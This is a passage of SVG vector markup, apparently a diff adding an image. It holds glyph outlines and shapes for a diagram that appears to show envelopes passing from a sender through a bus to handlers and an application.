1.265-.97c.352-.444.532-1 .532-1.655 0-.438-.063-.805-.188-1.11a1.651 1.651 0 0 0-.484-.703c-.211-.176-.453-.3-.735-.375a3.604 3.604 0 0 0-.875-.11c-.343 0-.656.012-.937.032-.281.023-.496.043-.64.063v4.906zm0 0"/></symbol><symbol overflow="visible" id="h"><path d="M2.484-10v6.125c0 1.012.098 1.734.297 2.172.207.43.586.64 1.14.64.282 0 .532-.054.75-.171.22-.114.411-.258.579-.438.176-.187.332-.398.469-.64.133-.25.242-.5.328-.75V-10h1.437v7.156c0 .48.016.98.047 1.5.032.512.082.961.157 1.344H6.655l-.36-1.406h-.062c-.218.449-.543.836-.968 1.156-.43.32-.965.484-1.61.484-.43 0-.804-.054-1.125-.156A1.725 1.725 0 0 1 1.72-.5c-.23-.281-.403-.66-.516-1.14-.105-.489-.156-1.114-.156-1.876V-10zm0 0"/></symbol><symbol overflow="visible" id="i"><path d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="j"><path d="M7.938-6.453H2.78V0h-1.5v-14h1.5v6.156h5.156V-14h1.5V0h-1.5zm0 0"/></symbol><symbol overflow="visible" id="k"><path d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="l"><path d="M6.297 0v-6.094c0-1-.121-1.722-.36-2.172-.23-.445-.64-.671-1.234-.671-.531 0-.976.164-1.328.484a2.71 2.71 0 0 0-.75 1.172V0H1.187v-10H2.22l.265 1.063h.063a3.1 3.1 0 0 1 1.015-.922c.438-.25.958-.375 1.563-.375.426 0 .8.062 1.125.187.32.117.594.32.813.61.226.28.394.664.5 1.14.113.48.171 1.086.171 1.813V0zm0 0"/></symbol><symbol overflow="visible" id="m"><path d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="n"><path d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="o"><path d="M.734-5c0-1.8.305-3.125.922-3.969.625-.844 1.508-1.265 2.657-1.265 1.226 0 2.132.433 2.718 1.296.582.868.875 2.18.875 3.938 0 1.813-.32 3.14-.953 3.984-.625.836-1.508 1.25-2.64 1.25-1.22 0-2.122-.43-2.704-1.296C1.023-1.926.734-3.239.734-5zm1.5 0c0 .586.036 1.117.11 1.594.07.48.191.898.36 1.25.163.344.382.617.655.812.27.188.586.282.954.282.695 0 1.218-.305 1.562-.922.352-.625.531-1.63.531-3.016 0-.57-.039-1.098-.11-1.578a4.47 4.47 0 0 0-.359-1.25c-.167-.352-.386-.625-.656-.813a1.62 1.62 0 0 0-.968-.296c-.68 0-1.196.312-1.547.937-.356.625-.532 1.625-.532 3zm0 0"/></symbol><symbol overflow="visible" id="p"><path d="M1.188-10h1.015l.219 1.078H2.5c.488-.875 1.258-1.312 2.313-1.312 1.062 0 1.851.398 2.375 1.187.53.781.796 2.063.796 3.844 0 .844-.09 1.605-.265 2.281-.18.668-.43 1.242-.75 1.719A3.27 3.27 0 0 1 5.812-.125c-.46.238-.968.36-1.53.36-.387 0-.696-.028-.923-.079a2.43 2.43 0 0 1-.734-.281V4H1.187zm1.437 8.422c.188.156.395.281.625.375.227.094.54.14.938.14.695 0 1.253-.359 1.671-1.078.414-.718.625-1.742.625-3.078 0-.562-.039-1.066-.109-1.515a4.02 4.02 0 0 0-.36-1.172 1.925 1.925 0 0 0-.609-.766c-.242-.176-.543-.265-.906-.265-.969 0-1.594.593-1.875 1.78zm0 0"/></symbol><symbol overflow="visible" id="r"><path d="M1.875-1.344h2.266v-9.734l.171-1.188-.671.97-1.688 1.358-.75-.906 3.64-3.39h.735v12.89h2.188V0H1.875zm0 0"/></symbol><symbol overflow="visible" id="s"><path d="M1.188-1.86c.25.18.601.344 1.062.5.457.15.977.22 1.563.22.75 0 1.359-.18 1.828-.548.468-.363.703-.94.703-1.734 0-.52-.137-.973-.407-1.36a4.904 4.904 0 0 0-1-1.062 15.135 15.135 0 0 0-1.296-.968 10 10 0 0 1-1.282-1.032 5.407 5.407 0 0 1-1-1.312c-.273-.5-.406-1.094-.406-1.781 0-1.126.336-1.954 1.016-2.485.676-.539 1.55-.812 2.625-.812.664 0 1.258.062 1.781.187.52.117.941.266 1.266.453l-.485 1.313c-.242-.145-.586-.274-1.031-.39a5.786 5.786 0 0 0-1.547-.188c-.719 0-1.258.18-1.61.53-.343.356-.515.798-.515 1.329 0 .469.133.887.406 1.25.27.355.602.695 1 1.016.395.312.82.636 1.282.968a8.9 8.9 0 0 1 1.296 1.094c.407.399.739.852 1 1.36.27.5.407 1.101.407 1.796 0 1.168-.352 2.086-1.047 2.75-.688.668-1.668 1-2.938 1C3.055.234 2.4.16 1.891.016 1.379-.13.969-.297.656-.484zm0 0"/></symbol><symbol overflow="visible" id="t"><path d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="u"><path d="M.188-10h1.218v-1.984l1.438-.454V-10H5v1.297H2.844v5.969c0 .586.066 1.007.203 1.265.144.262.375.39.687.39.27 0 .5-.03.688-.093.195-.062.41-.14.64-.234l.282 1.14a4.299 4.299 0 0 1-.969.344 4.34 4.34 0 0 1-1.11.14c-.667 0-1.148-.214-1.437-.64-.281-.437-.422-1.144-.422-2.125v-6.156H.188zm0 0"/></symbol><symbol overflow="visible" id="v"><path d="M7.36-10.938c0 .731-.11 1.497-.329 2.297-.218.805-.5 1.594-.843 2.375a19.589 19.589 0 0 1-1.141 2.25c-.418.72-.828 1.36-1.234 1.922l-.797.875v.063l1.062-.188h3.5V0H1.094v-.64c.258-.301.554-.688.89-1.157.332-.469.676-.976 1.032-1.531.351-.55.695-1.133 1.03-1.75.345-.625.645-1.254.907-1.89.27-.645.488-1.282.656-1.907.164-.625.25-1.227.25-1.813 0-.675-.156-1.21-.468-1.609-.313-.406-.774-.61-1.375-.61a3.02 3.02 0 0 0-1.125.22 3.349 3.349 0 0 0-.954.53l-.562-1.062c.363-.32.805-.57 1.328-.75a5.085 5.085 0 0 1 1.64-.265c.977 0 1.723.304 2.235.906.52.605.781 1.402.781 2.39zm0 0"/></symbol></defs><path fill="#fff" d="M0 0h642v542H0z"/><path d="M1 1h640v540H1zm0 0" fill-rule="evenodd" fill="#fff" stroke-width="2" stroke="#fff" stroke-miterlimit="10"/><path d="M65.57 221h83.239v63.707H65.57zm0 0M65.57 227v-6c-3.312 0-6 2.688-6 6zm0 0M148.809 227h6c0-3.313-2.684-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M59.57 227h95.239v51.707H59.57zm0 0M65.57 278.707h-6c0 3.313 2.688 6 6 6zm0 0M148.809 278.707v6c3.316 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M65.57 221h83.239M65.57 284.707h83.239M65.57 221c-3.312 0-6 2.687-6 6M154.809 227a6 6 0 0 0-6-6M59.57 227v51.707M154.809 227v51.707M59.57 278.707c0 3.313 2.688 6 6 6M148.809 284.707a6 6 0 0 0 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#a" x="78.246" y="260.805"/><use xlink:href="#b" x="87.094" y="260.805"/><use xlink:href="#c" x="95.219" y="260.805"/><use xlink:href="#b" x="102.035" y="260.805"/><use xlink:href="#d" x="110.297" y="260.805"/><use xlink:href="#e" x="114.633" y="260.805"/><use xlink:href="#b" x="122.387" y="260.805"/><use xlink:href="#f" x="130.648" y="260.805"/><path d="M207 221h228v63.707H207zm0 0M207 227v-6c-3.313 0-6 2.688-6 6zm0 0M435 227h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M201 227h240v51.707H201zm0 0M207 278.707h-6c0 3.313 2.688 6 6 6zm0 0M435 278.707v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M207 221h228M207 284.707h228M207 221c-3.312 0-6 2.687-6 6M441 227c0-3.312-2.687-6-6-6M201 227v51.707M441 227v51.707M201 278.707c0 3.313 2.687 6 6 6M435 284.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#g" x="308.578" y="260.805"/><use xlink:href="#h" x="317.992" y="260.805"/><use xlink:href="#i" x="326.664" y="260.805"/><path d="M169.555 441h123.238v63.707H169.555zm0 0M169.555 447v-6c-3.313 0-6 2.688-6 6zm0 0M292.793 447h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M163.555 447h135.238v51.707H163.555zm0 0M169.555 498.707h-6c0 3.313 2.687 6 6 6zm0 0M292.793 498.707v6c3.312 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M169.555 441h123.238M169.555 504.707h123.238M169.555 441c-3.313 0-6 2.687-6 6M298.793 447c0-3.312-2.688-6-6-6M163.555 447v51.707M298.793 447v51.707M163.555 498.707c0 3.313 2.687 6 6 6M292.793 504.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#j" x="203.887" y="480.805"/><use xlink:href="#k" x="214.609" y="480.805"/><use xlink:href="#l" x="222.617" y="480.805"/><use xlink:href="#m" x="231.406" y="480.805"/><use xlink:href="#n" x="240.059" y="480.805"/><use xlink:href="#b" x="244.727" y="480.805"/><use xlink:href="#f" x="252.988" y="480.805"/><path d="M107.191 176.852V210" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M102.191 210l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M154.809 252.852H190" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M190 257.852l10-5-10-5zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M441 252.852h49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M490 257.852l10-5-10-5zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M127.191 58.074c0 11.047-8.957 20-20 20-11.046 0-20-8.953-20-20 0-11.043 8.954-20 20-20 11.043 0 20 8.957 20 20" fill-rule="evenodd" fill="#b2d4eb" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M57.191 123.992h100v51.785c-20-8.632-30-8.632-50 0-20 8.63-30 8.63-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#b" x="68.91" y="153.188"/><use xlink:href="#l" x="77.172" y="153.188"/><use xlink:href="#e" x="85.961" y="153.188"/><use xlink:href="#b" x="93.715" y="153.188"/><use xlink:href="#n" x="101.977" y="153.188"/><use xlink:href="#o" x="106.645" y="153.188"/><use xlink:href="#p" x="115.277" y="153.188"/><use xlink:href="#b" x="123.969" y="153.188"/><use xlink:href="#q" x="132.23" y="153.188"/><use xlink:href="#r" x="136.469" y="153.188"/><path d="M507 221h83.238v63.707H507zm0 0M507 227v-6c-3.313 0-6 2.688-6 6zm0 0M590.238 227h6c0-3.313-2.687-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M501 227h95.238v51.707H501zm0 0M507 278.707h-6c0 3.313 2.688 6 6 6zm0 0M590.238 278.707v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M507 221h83.238M507 284.707h83.238M507 221c-3.312 0-6 2.687-6 6M596.238 227c0-3.312-2.687-6-6-6M501 227v51.707M596.238 227v51.707M501 278.707c0 3.313 2.687 6 6 6M590.238 284.707c3.313 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#s" x="524.617" y="260.805"/><use xlink:href="#b" x="533.172" y="260.805"/><use xlink:href="#l" x="541.434" y="260.805"/><use xlink:href="#m" x="550.223" y="260.805"/><use xlink:href="#b" x="558.875" y="260.805"/><use xlink:href="#f" x="567.137" y="260.805"/><path d="M107.191 78.074v34.918" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M102.191 112.992l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M346.148 441h123.239v63.707H346.148zm0 0M346.148 447v-6c-3.312 0-6 2.688-6 6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M469.387 447h6c0-3.313-2.688-6-6-6zm0 0M340.148 447h135.239v51.707H340.148zm0 0M346.148 498.707h-6c0 3.313 2.688 6 6 6zm0 0M469.387 498.707v6c3.312 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#b2d4eb"/><path d="M346.148 441h123.239M346.148 504.707h123.239M346.148 441c-3.312 0-6 2.687-6 6M475.387 447c0-3.312-2.688-6-6-6M340.148 447v51.707M475.387 447v51.707M340.148 498.707c0 3.313 2.688 6 6 6M469.387 504.707c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#t" x="368.645" y="480.805"/><use xlink:href="#p" x="378.098" y="480.805"/><use xlink:href="#p" x="386.789" y="480.805"/><use xlink:href="#n" x="395.48" y="480.805"/><use xlink:href="#d" x="400.148" y="480.805"/><use xlink:href="#c" x="404.484" y="480.805"/><use xlink:href="#k" x="411.613" y="480.805"/><use xlink:href="#u" x="419.621" y="480.805"/><use xlink:href="#d" x="425.129" y="480.805"/><use xlink:href="#o" x="429.465" y="480.805"/><use xlink:href="#l" x="438.098" y="480.805"/></g><path d="M407.77 441l-.344-145.293" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M412.426 295.695l-5.028-9.988-4.972 10.012zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M231.195 284.707L231.175 430" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.176 430l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M548.957 187.496L548.621 221" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M553.957 187.547l-4.898-10.05-5.102 9.948zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M569.297 57.64c0 11.047-8.957 20-20 20-11.047 0-20-8.953-20-20 0-11.046 8.953-20 20-20 11.043 0 20 8.954 20 20" fill-rule="evenodd" fill="#b2d4eb" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M499.297 123.555h100v51.78c-20-8.628-30-8.628-50 0-20 8.634-30 8.634-50 0v-51.78" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="511.016" y="152.75"/><use xlink:href="#l" x="519.277" y="152.75"/><use xlink:href="#e" x="528.066" y="152.75"/><use xlink:href="#b" x="535.82" y="152.75"/><use xlink:href="#n" x="544.082" y="152.75"/><use xlink:href="#o" x="548.75" y="152.75"/><use xlink:href="#p" x="557.383" y="152.75"/><use xlink:href="#b" x="566.074" y="152.75"/><use xlink:href="#q" x="574.336" y="152.75"/><use xlink:href="#v" x="578.574" y="152.75"/></g><path d="M549.297 88.64v34.915" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M554.297 88.64l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M21 317.594h600" fill="none" stroke-width="2" stroke="#000" stroke-dasharray=".1,.1" stroke-miterlimit="10"/><path d="M181 345.258h100v51.785c-20-8.633-30-8.633-50 0-20 8.629-30 8.629-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="192.719" y="374.453"/><use xlink:href="#l" x="200.98" y="374.453"/><use xlink:href="#e" x="209.77" y="374.453"/><use xlink:href="#b" x="217.523" y="374.453"/><use xlink:href="#n" x="225.785" y="374.453"/><use xlink:href="#o" x="230.453" y="374.453"/><use xlink:href="#p" x="239.086" y="374.453"/><use xlink:href="#b" x="247.777" y="374.453"/><use xlink:href="#q" x="256.039" y="374.453"/><use xlink:href="#r" x="260.277" y="374.453"/></g><path d="M356.742 345.258h100v51.785c-20-8.633-30-8.633-50 0-20 8.629-30 8.629-50 0v-51.785" fill-rule="evenodd" fill="#f2f2f2" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#b" x="368.461" y="374.453"/><use xlink:href="#l" x="376.723" y="374.453"/><use xlink:href="#e" x="385.512" y="374.453"/><use xlink:href="#b" x="393.266" y="374.453"/><use xlink:href="#n" x="401.527" y="374.453"/><use xlink:href="#o" x="406.195" y="374.453"/><use xlink:href="#p" x="414.828" y="374.453"/><use xlink:href="#b" x="423.52" y="374.453"/><use xlink:href="#q" x="431.781" y="374.453"/><use xlink:href="#v" x="436.02" y="374.453"/></g></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="600" viewBox="0 0 642 542"><defs><symbol id="a" overflow="visible"><path d="M10.047-10.125c-.086-.906-.418-1.586-1-2.047-.574-.457-1.402-.687-2.485-.687-.98 0-1.777.183-2.39.546-.606.368-.906.899-.906 1.594 0 .617.234 1.074.703 1.375.469.305 1.375.606 2.719.906 1.175.262 2.14.528 2.89.797.75.274 1.39.7 1.922 1.282.54.574.813 1.343.813 2.312 0 1.23-.497 2.258-1.485 3.078C9.848-.156 8.57.25 7 .25c-2.012 0-3.516-.445-4.516-1.344-1-.906-1.527-2.07-1.578-3.5l1.797-.156c.082 1.148.52 1.98 1.313 2.5.8.523 1.77.781 2.906.781 1.062 0 1.922-.218 2.578-.656.656-.438.984-1.023.984-1.766 0-.78-.343-1.347-1.03-1.703-.688-.363-1.84-.718-3.454-1.062-1.605-.352-2.762-.844-3.469-1.469-.71-.633-1.062-1.457-1.062-2.469 0-1.144.445-2.094 1.343-2.844.895-.75 2.118-1.124 3.672-1.124 1.594 0 2.868.374 3.829 1.124.968.743 1.484 1.797 1.546 3.172Zm0 0" style="stroke:none"/></symbol><symbol id="b" overflow="visible"><path d="M10.344-4.734H2.578c.07 1.148.399 2.023.985 2.625.582.605 1.312.906 2.187.906.664 0 1.223-.176 1.672-.531.457-.352.812-.891 1.062-1.61l1.797.235c-.293 1.074-.828 1.902-1.61 2.484-.78.586-1.757.875-2.921.875-1.563 0-2.781-.477-3.656-1.438C1.219-2.144.78-3.445.78-5.094c0-1.633.422-2.957 1.266-3.968.851-1.02 2.05-1.532 3.594-1.532.757 0 1.488.168 2.187.5.695.336 1.29.903 1.781 1.703.489.793.735 2.012.735 3.657ZM8.53-6.188c-.074-1.05-.402-1.804-.984-2.265-.574-.469-1.211-.703-1.906-.703-.825 0-1.508.277-2.047.828-.531.555-.84 1.265-.922 2.14Zm0 0" style="stroke:none"/></symbol><symbol id="c" overflow="visible"><path d="M9.813 0H8.03v-6.297c0-1.062-.195-1.789-.578-2.187-.375-.395-.902-.594-1.578-.594-.523 0-1.016.125-1.484.375-.461.25-.79.61-.985 1.078-.199.46-.297 1.11-.297 1.953V0H1.36v-10.36h1.579v1.47h.046c.364-.57.817-1 1.36-1.282.55-.281 1.18-.422 1.89-.422.551 0 1.094.102 1.625.297.532.188.946.48 1.25.875.313.387.504.805.579 1.25.082.438.124 1.04.124 1.797Zm0 0" style="stroke:none"/></symbol><symbol id="d" overflow="visible"><path d="M9.719 0h-1.64v-1.313H8.03C7.406-.27 6.453.25 5.171.25c-1.273 0-2.335-.504-3.187-1.516C1.141-2.273.72-3.578.72-5.172c0-1.676.398-3 1.203-3.969.8-.968 1.86-1.453 3.172-1.453 1.238 0 2.18.469 2.828 1.406h.031v-5.124H9.72Zm-4.36-1.203c.77 0 1.422-.313 1.954-.938.53-.632.796-1.593.796-2.875 0-1.27-.246-2.273-.734-3.015-.48-.75-1.18-1.125-2.094-1.125-.906 0-1.593.367-2.062 1.094-.469.73-.703 1.695-.703 2.89 0 .856.125 1.586.375 2.188.25.593.597 1.043 1.046 1.343.458.293.93.438 1.422.438Zm0 0" style="stroke:none"/></symbol><symbol id="e" overflow="visible"><path d="m6.922-10.047-.61 1.625c-.43-.25-.851-.375-1.265-.375-.668 0-1.172.297-1.516.89-.336.587-.5 1.407-.5 2.47V0h-1.75v-10.36h1.594v1.563h.047c.562-1.195 1.297-1.797 2.203-1.797.594 0 1.191.184 1.797.547Zm0 0" style="stroke:none"/></symbol><symbol id="f" overflow="visible"><path d="M9.625-7.625c.895.281 1.566.73 2.016 1.344a3.54 3.54 0 0 1 .671 2.125 4.14 4.14 0 0 1-.609 2.203A3.67 3.67 0 0 1 9.984-.47C9.242-.156 8.238 0 6.97 0H1.484v-14.313H6.86c1.739 0 2.961.383 3.672 1.141.719.75 1.078 1.586 1.078 2.5 0 .625-.168 1.203-.5 1.735-.336.53-.828.968-1.484 1.312Zm-6.25-.703h3.11c.632 0 1.163-.031 1.593-.094.438-.07.82-.258 1.156-.562.332-.313.5-.79.5-1.438 0-.676-.168-1.176-.5-1.5a2.2 2.2 0 0 0-1.203-.594 12.46 12.46 0 0 0-1.797-.109H3.375Zm0 6.625h3.563c1.28 0 2.164-.219 2.656-.656.5-.438.75-1.036.75-1.797 0-.782-.266-1.383-.797-1.813-.524-.437-1.469-.656-2.844-.656H3.375Zm0 0" style="stroke:none"/></symbol><symbol id="g" overflow="visible"><path d="M9.734 0H8.172v-1.531h-.063C7.316-.344 6.234.25 4.86.25a4.14 4.14 0 0 1-2-.5c-.617-.344-1.027-.805-1.234-1.39-.21-.594-.313-1.36-.313-2.298v-6.421h1.766v5.734c0 .918.04 1.578.125 1.984.094.399.32.727.688.985.375.25.816.375 1.328.375.664 0 1.289-.227 1.875-.688.593-.457.89-1.41.89-2.86v-5.53h1.75Zm0 0" style="stroke:none"/></symbol><symbol id="h" overflow="visible"><path d="M7.125-7.469c-.086-.562-.32-.984-.703-1.265-.375-.282-.902-.422-1.578-.422-.668 0-1.211.117-1.625.344-.418.218-.625.546-.625.984 0 .418.16.715.484.89.332.168.988.383 1.969.641 1.094.281 1.91.531 2.453.75.54.211.96.508 1.266.89.3.387.453.93.453 1.626 0 .918-.383 1.695-1.14 2.328-.75.637-1.759.953-3.017.953-1.312 0-2.34-.273-3.078-.828C1.242-1.141.785-1.977.61-3.094l1.75-.265c.094.718.364 1.261.813 1.625.445.355 1.07.53 1.875.53.758 0 1.344-.16 1.75-.484.414-.32.625-.71.625-1.171 0-.313-.094-.563-.281-.75a1.773 1.773 0 0 0-.72-.422c-.28-.102-.917-.274-1.905-.516-1.47-.344-2.438-.766-2.907-1.266a2.584 2.584 0 0 1-.703-1.812c0-.863.344-1.57 1.031-2.125.688-.563 1.614-.844 2.782-.844 1.238 0 2.203.246 2.89.735.688.48 1.098 1.199 1.235 2.156Zm0 0" style="stroke:none"/></symbol><symbol id="i" overflow="visible"><path d="M12.844 0h-1.906v-6.734H3.5V0H1.61v-14.313H3.5v5.876h7.438v-5.876h1.906Zm0 0" style="stroke:none"/></symbol><symbol id="j" overflow="visible"><path d="M10.328 0H8.484c-.18-.32-.304-.75-.375-1.281C6.93-.258 5.66.25 4.297.25c-1.094 0-1.961-.27-2.594-.813-.625-.55-.937-1.28-.937-2.187 0-.852.3-1.555.906-2.11.613-.562 1.672-.937 3.172-1.124l1.64-.235A9.58 9.58 0 0 0 8-6.579c0-.53-.016-.905-.047-1.124-.031-.219-.133-.442-.297-.672-.156-.238-.414-.426-.765-.563-.344-.144-.813-.218-1.407-.218-.761 0-1.359.14-1.796.422-.438.273-.743.793-.907 1.562l-1.719-.234c.188-1.063.672-1.86 1.454-2.39.78-.532 1.859-.798 3.234-.798 1.238 0 2.148.184 2.734.547.582.367.938.809 1.063 1.328.133.524.203 1.196.203 2.016v2.36c0 1.448.023 2.417.078 2.905.063.493.227.97.5 1.438ZM8-4.563v-.64c-.918.312-2.043.558-3.375.734-1.324.18-1.984.742-1.984 1.688 0 .469.175.86.53 1.172.364.312.88.468 1.548.468.863 0 1.625-.257 2.281-.78.664-.52 1-1.4 1-2.641Zm0 0" style="stroke:none"/></symbol><symbol id="k" overflow="visible"><path d="M3.094 0h-1.75v-14.313h1.75Zm0 0" style="stroke:none"/></symbol><symbol id="l" overflow="visible"><path d="M9.75-10.36 5.844 0h-1.64L.265-10.36h1.859l2.14 6c.395 1.126.633 1.891.72 2.298h.03c.102-.415.286-.973.548-1.672l2.39-6.625Zm0 0" style="stroke:none"/></symbol><symbol id="m" overflow="visible"><path d="M5.563-10.594c1.394 0 2.55.461 3.468 1.375.926.906 1.39 2.2 1.39 3.875 0 2.043-.5 3.485-1.5 4.328C7.93-.172 6.814.25 5.564.25 4.25.25 3.108-.18 2.14-1.047 1.18-1.922.703-3.297.703-5.172c0-1.82.461-3.18 1.39-4.078.938-.895 2.095-1.344 3.47-1.344Zm0 9.39c1 0 1.757-.366 2.28-1.109.52-.738.782-1.718.782-2.937 0-1.29-.297-2.266-.89-2.922-.587-.656-1.31-.984-2.173-.984-.898 0-1.632.336-2.203 1-.574.668-.859 1.664-.859 2.984 0 1.313.29 2.305.875 2.969.582.668 1.313 1 2.188 1Zm0 0" style="stroke:none"/></symbol><symbol id="n" overflow="visible"><path d="M3-9.031c.656-1.04 1.64-1.563 2.953-1.563 1.363 0 2.438.496 3.219 1.485.789.98 1.187 2.261 1.187 3.843 0 1.688-.437 3.032-1.312 4.032C8.18-.242 7.113.25 5.844.25c-1.117 0-2.008-.441-2.672-1.328h-.063v5.062H1.36v-14.343h1.594v1.328Zm2.719 7.828c.82 0 1.5-.336 2.031-1.016.54-.687.813-1.703.813-3.047 0-1.27-.262-2.242-.782-2.921C7.27-8.876 6.61-9.22 5.797-9.22c-.836 0-1.524.383-2.063 1.14-.53.763-.796 1.747-.796 2.954 0 1.293.253 2.273.765 2.938.52.656 1.192.984 2.016.984Zm0 0" style="stroke:none"/></symbol><symbol id="p" overflow="visible"><path d="M7.5 0H5.75v-11.203c-.887.836-2.063 1.543-3.531 2.125v-1.703c2.02-.969 3.398-2.172 4.14-3.61H7.5Zm0 0" style="stroke:none"/></symbol><symbol id="q" overflow="visible"><path d="M14.219 0h-2.375c-1.43-2.25-2.32-3.629-2.672-4.14A7.78 7.78 0 0 0 